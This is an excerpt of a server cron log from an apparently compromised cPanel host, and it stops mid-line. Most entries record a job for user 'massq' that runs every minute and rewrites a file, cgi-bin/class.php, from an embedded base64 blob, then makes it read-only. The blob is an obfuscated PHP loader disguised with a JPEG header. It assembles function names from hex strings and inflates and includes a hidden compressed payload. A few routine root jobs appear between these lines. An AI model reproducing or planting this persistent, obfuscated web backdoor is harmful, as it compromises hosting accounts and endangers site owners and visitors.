Nov 14 18:40:01 server CROND[21417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:41:01 server CROND[22329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:42:01 server CROND[23194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:42:01 server CROND[23195]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 18:43:01 server CROND[23910]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:44:01 server CROND[24244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:45:01 server CROND[25115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:45:01 server CROND[25114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:45:01 server CROND[25113]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:46:01 server CROND[26062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:47:01 server CROND[26915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:48:01 server CROND[27780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:49:01 server CROND[28652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:50:01 server CROND[29422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 18:50:01 server CROND[29421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:50:01 server CROND[29429]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 18:50:01 server CROND[29428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:50:01 server CROND[29430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:51:01 server CROND[30472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:52:01 server CROND[31459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:53:01 server CROND[32374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 